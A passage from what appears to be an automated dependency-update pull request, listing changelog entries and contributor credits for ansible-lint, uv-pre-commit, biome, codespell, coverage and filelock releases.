[@​mehrdadbn9](https://redirect.github.com/mehrdadbn9)
- chore: Add support for Fedora 44 in the meta schema
([#​5029](https://redirect.github.com/ansible/ansible-lint/issues/5029))
[@​jsf9k](https://redirect.github.com/jsf9k)
- fix: ensure configuration errors are visible to user
([#​5038](https://redirect.github.com/ansible/ansible-lint/issues/5038))
[@​Dotify71](https://redirect.github.com/Dotify71)
- fix: role argument spec: fix typo in attribute schema
([#​5044](https://redirect.github.com/ansible/ansible-lint/issues/5044))
[@​felixfontein](https://redirect.github.com/felixfontein)
- fix: handle ignore.txt comments with '#' in them correctly
([#​5028](https://redirect.github.com/ansible/ansible-lint/issues/5028))
[@​felixfontein](https://redirect.github.com/felixfontein)
- fix: Evaluate the exit code after applying the skipped rules from
.ansible-lint-ignore
([#​5001](https://redirect.github.com/ansible/ansible-lint/issues/5001))
[@​gmuloc](https://redirect.github.com/gmuloc)
- fix: Update stale rulebook schema to match upstream ansible-rulebook
([#​5056](https://redirect.github.com/ansible/ansible-lint/issues/5056))
[@​Hrithik-Gavankar](https://redirect.github.com/Hrithik-Gavankar)
- fix: update \_extends syntax for release-drafter v7 compatibility
([#​5043](https://redirect.github.com/ansible/ansible-lint/issues/5043))
[@​rockygeekz](https://redirect.github.com/rockygeekz)
- fix(security): update dependencies \[SECURITY] - abandoned
([#​5014](https://redirect.github.com/ansible/ansible-lint/issues/5014))
@​[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- fix: update malformed block regex and bump pathspec upper bound
([#​5039](https://redirect.github.com/ansible/ansible-lint/issues/5039))
[@​rockygeekz](https://redirect.github.com/rockygeekz)
##### Maintenance
- chore: remove previously-synced agent skills
([#​5078](https://redirect.github.com/ansible/ansible-lint/issues/5078))
[@​ansibuddy](https://redirect.github.com/ansibuddy)
- chore(deps): update all dependencies
([#​5074](https://redirect.github.com/ansible/ansible-lint/issues/5074))
@​[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- fix(security): update dependencies \[SECURITY]
([#​5061](https://redirect.github.com/ansible/ansible-lint/issues/5061))
@​[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- test: add security-check workflow (integration test)
([#​5064](https://redirect.github.com/ansible/ansible-lint/issues/5064))
[@​cidrblock](https://redirect.github.com/cidrblock)
- chore: Add support for Fedora 44 in the meta schema
([#​5029](https://redirect.github.com/ansible/ansible-lint/issues/5029))
[@​jsf9k](https://redirect.github.com/jsf9k)
- chore: clarify yaml reformatting under fix
([#​5057](https://redirect.github.com/ansible/ansible-lint/issues/5057))
[@​Himanshuagrawal4](https://redirect.github.com/Himanshuagrawal4)
- chore(deps): update all dependencies pep621
([#​5047](https://redirect.github.com/ansible/ansible-lint/issues/5047))
@​[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- chore(deps): update all dependencies
([#​5046](https://redirect.github.com/ansible/ansible-lint/issues/5046))
@​[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- chore(deps): update all dependencies pep621
([#​5041](https://redirect.github.com/ansible/ansible-lint/issues/5041))
@​[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- chore(deps): update all dependencies
([#​5040](https://redirect.github.com/ansible/ansible-lint/issues/5040))
@​[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- chore(deps): update all dependencies
([#​5011](https://redirect.github.com/ansible/ansible-lint/issues/5011))
@​[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- fix(security): update dependencies \[SECURITY] - abandoned
([#​5014](https://redirect.github.com/ansible/ansible-lint/issues/5014))
@​[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- chore(deps): update all dependencies pep621
([#​5012](https://redirect.github.com/ansible/ansible-lint/issues/5012))
@​[renovate\[bot\]](https://redirect.github.com/apps/renovate)
</details>
<details>
<summary>astral-sh/uv-pre-commit (astral-sh/uv-pre-commit)</summary>
###
[`v0.11.32`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.32)
[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.31...0.11.32)
See: <https://github.com/astral-sh/uv/releases/tag/0.11.32>
###
[`v0.11.31`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.31)
[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.30...0.11.31)
See: <https://github.com/astral-sh/uv/releases/tag/0.11.31>
###
[`v0.11.30`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.30)
[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.29...0.11.30)
See: <https://github.com/astral-sh/uv/releases/tag/0.11.30>
###
[`v0.11.29`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.29)
[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.28...0.11.29)
See: <https://github.com/astral-sh/uv/releases/tag/0.11.29>
###
[`v0.11.28`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.28)
[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.27...0.11.28)
See: <https://github.com/astral-sh/uv/releases/tag/0.11.28>
###
[`v0.11.27`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.27)
[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.26...0.11.27)
See: <https://github.com/astral-sh/uv/releases/tag/0.11.27>
###
[`v0.11.26`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.26)
[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.25...0.11.26)
See: <https://github.com/astral-sh/uv/releases/tag/0.11.26>
###
[`v0.11.25`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.25)
[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.24...0.11.25)
See: <https://github.com/astral-sh/uv/releases/tag/0.11.25>
###
[`v0.11.24`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.24)
[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.23...0.11.24)
See: <https://github.com/astral-sh/uv/releases/tag/0.11.24>
###
[`v0.11.23`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.23)
[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.22...0.11.23)
See: <https://github.com/astral-sh/uv/releases/tag/0.11.23>
###
[`v0.11.22`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.22)
[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.21...0.11.22)
See: <https://github.com/astral-sh/uv/releases/tag/0.11.22>
###
[`v0.11.21`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.21)
[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.20...0.11.21)
See: <https://github.com/astral-sh/uv/releases/tag/0.11.21>
###
[`v0.11.20`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.20)
[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.19...0.11.20)
See: <https://github.com/astral-sh/uv/releases/tag/0.11.20>
</details>
<details>
<summary>biomejs/pre-commit (biomejs/pre-commit)</summary>
###
[`v2.5.5`](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.4...v2.5.5)
[Compare
Source](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.4...v2.5.5)
###
[`v2.5.4`](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.3...v2.5.4)
[Compare
Source](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.3...v2.5.4)
###
[`v2.5.3`](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.2...v2.5.3)
[Compare
Source](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.2...v2.5.3)
###
[`v2.5.2`](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.1...v2.5.2)
[Compare
Source](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.1...v2.5.2)
###
[`v2.5.1`](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.0...v2.5.1)
[Compare
Source](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.0...v2.5.1)
###
[`v2.5.0`](https://redirect.github.com/biomejs/pre-commit/compare/v2.4.16...v2.5.0)
[Compare
Source](https://redirect.github.com/biomejs/pre-commit/compare/v2.4.16...v2.5.0)
</details>
<details>
<summary>codespell-project/codespell (codespell)</summary>
###
[`v2.4.3`](https://redirect.github.com/codespell-project/codespell/releases/tag/v2.4.3)
[Compare
Source](https://redirect.github.com/codespell-project/codespell/compare/v2.4.2...v2.4.3)
<!-- Release notes generated using configuration in .github/release.yml
at main -->
#### What's Changed
- Add 'radback' to dictionary with correction by
[@​Flo3561](https://redirect.github.com/Flo3561) in
[#​3883](https://redirect.github.com/codespell-project/codespell/pull/3883)
- Add 'repetirion' to dictionary corrections by
[@​Flo3561](https://redirect.github.com/Flo3561) in
[#​3885](https://redirect.github.com/codespell-project/codespell/pull/3885)
- Need to specify a version of Python version after all by
[@​DimitriPapadopoulos](https://redirect.github.com/DimitriPapadopoulos)
in
[#​3887](https://redirect.github.com/codespell-project/codespell/pull/3887)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3889](https://redirect.github.com/codespell-project/codespell/pull/3889)
- Add cases for "modulle" -> "module" by
[@​utzcoz](https://redirect.github.com/utzcoz) in
[#​3888](https://redirect.github.com/codespell-project/codespell/pull/3888)
- Add case "auido" -> "audio" by
[@​utzcoz](https://redirect.github.com/utzcoz) in
[#​3890](https://redirect.github.com/codespell-project/codespell/pull/3890)
- Add credentilas->credentials and friends by
[@​peternewman](https://redirect.github.com/peternewman) in
[#​3895](https://redirect.github.com/codespell-project/codespell/pull/3895)
- Add the case "cubid" -> "cubic" by
[@​utzcoz](https://redirect.github.com/utzcoz) in
[#​3891](https://redirect.github.com/codespell-project/codespell/pull/3891)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3897](https://redirect.github.com/codespell-project/codespell/pull/3897)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3900](https://redirect.github.com/codespell-project/codespell/pull/3900)
- Bump codecov/codecov-action from 5 to 6 by
[@​dependabot](https://redirect.github.com/dependabot)\[bot] in
[#​3902](https://redirect.github.com/codespell-project/codespell/pull/3902)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3904](https://redirect.github.com/codespell-project/codespell/pull/3904)
- Add `magntiude->magnitude` by
[@​nathanjmcdougall](https://redirect.github.com/nathanjmcdougall)
in
[#​3899](https://redirect.github.com/codespell-project/codespell/pull/3899)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3909](https://redirect.github.com/codespell-project/codespell/pull/3909)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3912](https://redirect.github.com/codespell-project/codespell/pull/3912)
- Add the case "instanc" -> "instance" by
[@​utzcoz](https://redirect.github.com/utzcoz) in
[#​3896](https://redirect.github.com/codespell-project/codespell/pull/3896)
- gampad -> gamepad (and plural) by
[@​julianstirling](https://redirect.github.com/julianstirling) in
[#​3906](https://redirect.github.com/codespell-project/codespell/pull/3906)
- Add typos of `monotonic` and `monotonicity` by
[@​nathanjmcdougall](https://redirect.github.com/nathanjmcdougall)
in
[#​3898](https://redirect.github.com/codespell-project/codespell/pull/3898)
- Add spelling correction for multipile(s)/vulnerabities. by
[@​cfi-gb](https://redirect.github.com/cfi-gb) in
[#​3905](https://redirect.github.com/codespell-project/codespell/pull/3905)
- Add 'simpilfy -> simplify' by
[@​alexreinking](https://redirect.github.com/alexreinking) in
[#​3913](https://redirect.github.com/codespell-project/codespell/pull/3913)
- fix(packaging): prevent unwanted files and tests from being installed
by
[@​mikelolasagasti](https://redirect.github.com/mikelolasagasti)
in
[#​3911](https://redirect.github.com/codespell-project/codespell/pull/3911)
- Add skarhoj->SKAARHOJ to dictionary corrections by
[@​peternewman](https://redirect.github.com/peternewman) in
[#​3908](https://redirect.github.com/codespell-project/codespell/pull/3908)
- Improve the dictionary by
[@​algonell](https://redirect.github.com/algonell) in
[#​3914](https://redirect.github.com/codespell-project/codespell/pull/3914)
- Add spelling correction for accorss/accors. by
[@​cfi-gb](https://redirect.github.com/cfi-gb) in
[#​3916](https://redirect.github.com/codespell-project/codespell/pull/3916)
- Bump autofix-ci/action from 1.3.3 to 1.3.4 by
[@​dependabot](https://redirect.github.com/dependabot)\[bot] in
[#​3921](https://redirect.github.com/codespell-project/codespell/pull/3921)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3923](https://redirect.github.com/codespell-project/codespell/pull/3923)
- Add `influecer->influencer` and `influnce*` typos to dictionary by
[@​nathanjmcdougall](https://redirect.github.com/nathanjmcdougall)
in
[#​3925](https://redirect.github.com/codespell-project/codespell/pull/3925)
- Add typos for `excavate` and variants by
[@​nathanjmcdougall](https://redirect.github.com/nathanjmcdougall)
in
[#​3926](https://redirect.github.com/codespell-project/codespell/pull/3926)
- Dict: Add corrections for memoy by
[@​mdeweerd](https://redirect.github.com/mdeweerd) in
[#​3924](https://redirect.github.com/codespell-project/codespell/pull/3924)
- `overheda -> overhead` by
[@​George-Ogden](https://redirect.github.com/George-Ogden) in
[#​3919](https://redirect.github.com/codespell-project/codespell/pull/3919)
- `inclusize->inclusive` and variants by
[@​George-Ogden](https://redirect.github.com/George-Ogden) in
[#​3918](https://redirect.github.com/codespell-project/codespell/pull/3918)
- Add spelling corrections for authorization by
[@​cfi-gb](https://redirect.github.com/cfi-gb) in
[#​3922](https://redirect.github.com/codespell-project/codespell/pull/3922)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3927](https://redirect.github.com/codespell-project/codespell/pull/3927)
- Don't fix Voight by
[@​DimitriPapadopoulos](https://redirect.github.com/DimitriPapadopoulos)
in
[#​3929](https://redirect.github.com/codespell-project/codespell/pull/3929)
- Add spelling corrections for interstect and interstection by
[@​korli](https://redirect.github.com/korli) in
[#​3928](https://redirect.github.com/codespell-project/codespell/pull/3928)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3930](https://redirect.github.com/codespell-project/codespell/pull/3930)
- Improve output in interactive mode by
[@​darkmattercoder](https://redirect.github.com/darkmattercoder)
in
[#​3884](https://redirect.github.com/codespell-project/codespell/pull/3884)
- feat: support codespell:ignore-next-line directive by
[@​SAY-5](https://redirect.github.com/SAY-5) in
[#​3931](https://redirect.github.com/codespell-project/codespell/pull/3931)
- Add woork->work and formace->format and friends by
[@​peternewman](https://redirect.github.com/peternewman) in
[#​3828](https://redirect.github.com/codespell-project/codespell/pull/3828)
- shortctu -> shortcut by
[@​George-Ogden](https://redirect.github.com/George-Ogden) in
[#​3934](https://redirect.github.com/codespell-project/codespell/pull/3934)
- A couple typos by
[@​DimitriPapadopoulos](https://redirect.github.com/DimitriPapadopoulos)
in
[#​3935](https://redirect.github.com/codespell-project/codespell/pull/3935)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3937](https://redirect.github.com/codespell-project/codespell/pull/3937)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3942](https://redirect.github.com/codespell-project/codespell/pull/3942)
- reclaculate->recalculate by
[@​adamgann](https://redirect.github.com/adamgann) in
[#​3936](https://redirect.github.com/codespell-project/codespell/pull/3936)
- Add spelling correction for improprt. by
[@​cfi-gb](https://redirect.github.com/cfi-gb) in
[#​3939](https://redirect.github.com/codespell-project/codespell/pull/3939)
- Dictionary plasic-plastic by
[@​julianstirling](https://redirect.github.com/julianstirling) in
[#​3938](https://redirect.github.com/codespell-project/codespell/pull/3938)
- Add rourter->router and friends by
[@​peternewman](https://redirect.github.com/peternewman) in
[#​3943](https://redirect.github.com/codespell-project/codespell/pull/3943)
- Add new spelling correction for 'strucutr' to 'structure' by
[@​Flo3561](https://redirect.github.com/Flo3561) in
[#​3944](https://redirect.github.com/codespell-project/codespell/pull/3944)
- adding zone spelling correction by
[@​Flo3561](https://redirect.github.com/Flo3561) in
[#​3945](https://redirect.github.com/codespell-project/codespell/pull/3945)
- Add correction for 'egineering' to 'engineering' by
[@​Flo3561](https://redirect.github.com/Flo3561) in
[#​3946](https://redirect.github.com/codespell-project/codespell/pull/3946)
- adding seet spelling corrections by
[@​Flo3561](https://redirect.github.com/Flo3561) in
[#​3947](https://redirect.github.com/codespell-project/codespell/pull/3947)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3949](https://redirect.github.com/codespell-project/codespell/pull/3949)
- Add spelling correction for flwa/flwas. by
[@​cfi-gb](https://redirect.github.com/cfi-gb) in
[#​3948](https://redirect.github.com/codespell-project/codespell/pull/3948)
- PEP 735 compliance: dependency groups by
[@​DimitriPapadopoulos](https://redirect.github.com/DimitriPapadopoulos)
in
[#​3877](https://redirect.github.com/codespell-project/codespell/pull/3877)
- Allow use --builtin=all to use every builtin dictionary by
[@​AlightSoulmate](https://redirect.github.com/AlightSoulmate) in
[#​3917](https://redirect.github.com/codespell-project/codespell/pull/3917)
- feat: add --ignore-sic to skip misspellings marked with \[sic] by
[@​kojiromike](https://redirect.github.com/kojiromike) in
[#​3950](https://redirect.github.com/codespell-project/codespell/pull/3950)
- Bump codecov/codecov-action from 6 to 7 by
[@​dependabot](https://redirect.github.com/dependabot)\[bot] in
[#​3953](https://redirect.github.com/codespell-project/codespell/pull/3953)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3954](https://redirect.github.com/codespell-project/codespell/pull/3954)
- Add common misspellings for 'dispplay' variations by
[@​Flo3561](https://redirect.github.com/Flo3561) in
[#​3955](https://redirect.github.com/codespell-project/codespell/pull/3955)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3958](https://redirect.github.com/codespell-project/codespell/pull/3958)
- Add spelling corrections for simpe and variants. by
[@​cfi-gb](https://redirect.github.com/cfi-gb) in
[#​3960](https://redirect.github.com/codespell-project/codespell/pull/3960)
- Bump actions/checkout from 6 to 7 by
[@​dependabot](https://redirect.github.com/dependabot)\[bot] in
[#​3961](https://redirect.github.com/codespell-project/codespell/pull/3961)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3964](https://redirect.github.com/codespell-project/codespell/pull/3964)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3966](https://redirect.github.com/codespell-project/codespell/pull/3966)
- Add common misspellings for reseeve->reserve to dictionary by
[@​peternewman](https://redirect.github.com/peternewman) in
[#​3967](https://redirect.github.com/codespell-project/codespell/pull/3967)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3968](https://redirect.github.com/codespell-project/codespell/pull/3968)
- \[pre-commit.ci] pre-commit autoupdate by
[@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#​3970](https://redirect.github.com/codespell-project/codespell/pull/3970)
- Read only \[tool.codespell] from TOML config by
[@​Sanjays2402](https://redirect.github.com/Sanjays2402) in
[#​3975](https://redirect.github.com/codespell-project/codespell/pull/3975)
#### New Contributors
- [@​Flo3561](https://redirect.github.com/Flo3561) made their
first contribution in
[#​3883](https://redirect.github.com/codespell-project/codespell/pull/3883)
- [@​alexreinking](https://redirect.github.com/alexreinking) made
their first contribution in
[#​3913](https://redirect.github.com/codespell-project/codespell/pull/3913)
- [@​mikelolasagasti](https://redirect.github.com/mikelolasagasti)
made their first contribution in
[#​3911](https://redirect.github.com/codespell-project/codespell/pull/3911)
- [@​korli](https://redirect.github.com/korli) made their first
contribution in
[#​3928](https://redirect.github.com/codespell-project/codespell/pull/3928)
- [@​darkmattercoder](https://redirect.github.com/darkmattercoder)
made their first contribution in
[#​3884](https://redirect.github.com/codespell-project/codespell/pull/3884)
- [@​SAY-5](https://redirect.github.com/SAY-5) made their first
contribution in
[#​3931](https://redirect.github.com/codespell-project/codespell/pull/3931)
- [@​adamgann](https://redirect.github.com/adamgann) made their
first contribution in
[#​3936](https://redirect.github.com/codespell-project/codespell/pull/3936)
- [@​AlightSoulmate](https://redirect.github.com/AlightSoulmate)
made their first contribution in
[#​3917](https://redirect.github.com/codespell-project/codespell/pull/3917)
- [@​kojiromike](https://redirect.github.com/kojiromike) made
their first contribution in
[#​3950](https://redirect.github.com/codespell-project/codespell/pull/3950)
- [@​Sanjays2402](https://redirect.github.com/Sanjays2402) made
their first contribution in
[#​3975](https://redirect.github.com/codespell-project/codespell/pull/3975)
**Full Changelog**:
<https://github.com/codespell-project/codespell/compare/v2.4.2...v2.4.3>
</details>
<details>
<summary>coveragepy/coveragepy (coverage)</summary>
###
[`v7.15.2`](https://redirect.github.com/coveragepy/coveragepy/blob/HEAD/CHANGES.rst#Version-7152--2026-07-15)
[Compare
Source](https://redirect.github.com/coveragepy/coveragepy/compare/7.15.1...7.15.2)
- Fix: one of the performance improvements in 7.15.1 (pull 2215)
dramatically
increased memory use during reporting for large projects. Now we use a
different approach that is both faster and slimmer than 7.15.0. Fixes
`issue
2229`\_.
.. \_issue 2229:
[#​2229](https://redirect.github.com/coveragepy/coveragepy/issues/2229)
.. \_changes\_7-15-1:
</details>
<details>
<summary>tox-dev/py-filelock (filelock)</summary>
###
[`v3.32.0`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.32.0)
[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.31.2...3.32.0)
<!-- Release notes generated using configuration in .github/release.yaml
at 3.32.0 -->
##### What's Changed
- 👷 ci: add Python 3.15 to the test matrix by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#683](https://redirect.github.com/tox-dev/filelock/pull/683)
- 🐛 fix(packaging): let an unpacked sdist run the test suite by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#685](https://redirect.github.com/tox-dev/filelock/pull/685)
**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.31.2...3.32.0>
###
[`v3.31.2`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.31.2)
[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.31.1...3.31.2)
<!-- Release notes generated using configuration in .github/release.yaml
at 3.31.2 -->
##### What's Changed
- 🐛 fix(strict): tolerate an errno without ENOTSUP by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#681](https://redirect.github.com/tox-dev/filelock/pull/681)
**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.31.1...3.31.2>
###
[`v3.31.1`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.31.1)
[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.31.0...3.31.1)
<!-- Release notes generated using configuration in .github/release.yaml
at 3.31.1 -->
##### What's Changed
- ♻️ refactor(coverage): key exclusions on probed capability by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#679](https://redirect.github.com/tox-dev/filelock/pull/679)
- scope a lease's claim to the context that acquired it by
[@​dxbjavid](https://redirect.github.com/dxbjavid) in
[tox-dev/filelock#680](https://redirect.github.com/tox-dev/filelock/pull/680)
**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.31.0...3.31.1>
###
[`v3.31.0`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.31.0)
[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.30.3...3.31.0)
<!-- Release notes generated using configuration in .github/release.yaml
at 3.31.0 -->
#### What's Changed
- ✨ feat(platform): support Termux/Android by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#678](https://redirect.github.com/tox-dev/filelock/pull/678)
**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.30.3...3.31.0>
###
[`v3.30.3`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.3)
[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.30.2...3.30.3)
<!-- Release notes generated using configuration in .github/release.yaml
at 3.30.3 -->
#### What's Changed
- Keep both tables of contents on screen at any browser font size by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#673](https://redirect.github.com/tox-dev/filelock/pull/673)
- 📝 docs(mermaid): follow the light and dark theme toggle by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#674](https://redirect.github.com/tox-dev/filelock/pull/674)
- asyncio: scope the reentrant-deadlock registry to the owning task by
[@​xt-yin](https://redirect.github.com/xt-yin) in
[tox-dev/filelock#676](https://redirect.github.com/tox-dev/filelock/pull/676)
#### New Contributors
- [@​xt-yin](https://redirect.github.com/xt-yin) made their first
contribution in
[tox-dev/filelock#676](https://redirect.github.com/tox-dev/filelock/pull/676)
**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.30.2...3.30.3>
###
[`v3.30.2`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.2)
[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.30.1...3.30.2)
<!-- Release notes generated using configuration in .github/release.yaml
at 3.30.2 -->
#### What's Changed
- Document every lock type, and stop evicting a marker we cannot read by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#672](https://redirect.github.com/tox-dev/filelock/pull/672)
**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.30.1...3.30.2>
###
[`v3.30.1`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.1)
[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.30.0...3.30.1)
<!-- Release notes generated using configuration in .github/release.yaml
at 3.30.1 -->
#### What's Changed
- 📝 docs: separate changelog releases with a blank line by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#668](https://redirect.github.com/tox-dev/filelock/pull/668)
- 🐛 fix: tolerate NFSv3 stale handle in strict claim read by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#669](https://redirect.github.com/tox-dev/filelock/pull/669)
- Match fork-reset protocol on the class object by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#671](https://redirect.github.com/tox-dev/filelock/pull/671)
- reject non-finite lease duration in marker records by
[@​dxbjavid](https://redirect.github.com/dxbjavid) in
[tox-dev/filelock#670](https://redirect.github.com/tox-dev/filelock/pull/670)
**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.30.0...3.30.1>
###
[`v3.30.0`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.0)
[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.7...3.30.0)
<!-- Release notes generated using configuration in .github/release.yaml
at 3.30.0 -->
#### What's Changed
- 🎨 style: readability cleanup across the library by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#598](https://redirect.github.com/tox-dev/filelock/pull/598)
- 🐛 fix(api): ignore lifetime on native OS locks by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#593](https://redirect.github.com/tox-dev/filelock/pull/593)
- 🐛 fix(unix): don't mutate lock file before acquiring flock by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#594](https://redirect.github.com/tox-dev/filelock/pull/594)
- soft: evict a non-regular lock file without reading it by
[@​dxbjavid](https://redirect.github.com/dxbjavid) in
[tox-dev/filelock#597](https://redirect.github.com/tox-dev/filelock/pull/597)
- 🐛 fix(windows): bind reparse-point check to the locked handle by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#596](https://redirect.github.com/tox-dev/filelock/pull/596)
- 🐛 fix(api): make native lock release transactional by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#615](https://redirect.github.com/tox-dev/filelock/pull/615)
- 🐛 fix(soft): make marker writes and cleanup transactional by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#614](https://redirect.github.com/tox-dev/filelock/pull/614)
- 🐛 fix(windows): open the lock file through NtCreateFile by
